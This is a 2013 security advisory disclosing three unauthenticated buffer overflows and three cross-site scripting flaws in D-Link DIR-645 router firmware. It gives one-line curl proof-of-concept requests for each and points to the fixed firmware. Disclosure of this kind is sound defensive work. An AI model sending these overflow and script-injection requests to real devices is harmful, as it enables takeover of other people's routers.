D-Link DIR-645 Buffer Overflow / Cross Site Scripting

`Multiple vulnerabilities on D-Link DIR-645 devices  
==================================================  
  
[ADVISORY INFORMATION]  
Title: Multiple vulnerabilities on D-Link DIR-645 devices  
Discovery date: 06/03/2013  
Release date: 02/08/2013  
Advisory URL: http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt  
Credits: Roberto Paleari ([email protected], twitter: @rpaleari)  
  
[AFFECTED PRODUCTS]  
This security vulnerability affects the following products and firmware  
versions:  
* D-Link DIR-645, 1.03B08  
Other products and firmware versions could also be vulnerable, but they were  
not checked.  
  
[VULNERABILITY DETAILS]  
This router model is affected by multiple security vulnerabilities. All of them  
are exploitable by remote, unauthenticated attackers. Details are outlined in  
the following, including some proof-of-concepts.  
  
1. Buffer overflow on "post_login.xml"  
  
Invoking the "post_login.xml" server-side script, attackers can specify a  
"hash" password value that is used to authenticate the user. This hash value  
is eventually processed by the "/usr/sbin/widget" local binary. However, the  
latter copies the user-controlled hash into a statically-allocated buffer,  
allowing attackers to overwrite adjacent memory locations.  
  
As a proof-of-concept, the following URL allows attackers to control the  
return value saved on the stack (the vulnerability is triggered when  
executing "/usr/sbin/widget"):  
  
curl http://<target ip>/post_login.xml?hash=AAA...AAABBBB  
  
The value of the "hash" HTTP GET parameter consists in 292 occurrences of  
the 'A' character, followed by four occurrences of character 'B'. In our lab  
setup, characters 'B' overwrite the saved program counter (%ra).  
  
  
2. Buffer overflow on "hedwig.cgi"  
  
Another buffer overflow affects the "hedwig.cgi" CGI script. Unauthenticated  
remote attackers can invoke this CGI with an overly-long cookie value that  
can overflow a program buffer and overwrite the saved program address.  
  
Proof-of-concept:  
curl -b uid=$(perl -e 'print "A"x1400;') -d 'test' http://<target ip>/hedwig.cgi  
  
  
3. Buffer overflow on "authentication.cgi"  
  
The third buffer overflow vulnerability affects the "authentication.cgi" CGI  
script. This time the issue affects the HTTP POST paramter named  
"password". Again, this vulnerability can be abused to achieve remote code  
execution. As for all the previous issues, no authentication is required.  
  
Proof-of-concept:  
curl -b uid=test -d $(perl -e 'print "uid=test&password=asd" . "A"x2024;') http://<target ip>/authentication.cgi  
  
  
4. Cross-site scripting on "bind.php"  
  
Proof-of-concept:  
curl "http://<target ip>/parentalcontrols/bind.php?deviceid=test'\"/><script>alert(1)</script><"  
  
  
5. Cross-site scripting on "info.php"  
  
Proof-of-concept:  
curl "http://<target ip>/info.php?RESULT=testme\", msgArray); alert(1); //"  
  
  
6. Cross-site scripting on "bsc_sms_send.php"  
  
Proof-of-concept:  
curl "http://<target ip>/bsc_sms_send.php?receiver=testme\"/><script>alert(1);</script><div"  
  
  
[REMEDIATION]  
D-Link has released an updated firmware version (1.04) that addresses this  
issue. The firmware is already available on D-Link web site, at the following  
URL:  
http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000  
  
[DISCLAIMER]  
The author is not responsible for the misuse of the information provided in  
this security advisory. The advisory is a service to the professional security  
community. There are NO WARRANTIES with regard to this information. Any  
application or distribution of this information constitutes acceptance AS IS,  
at the user's own risk. This information is subject to change without notice.  
`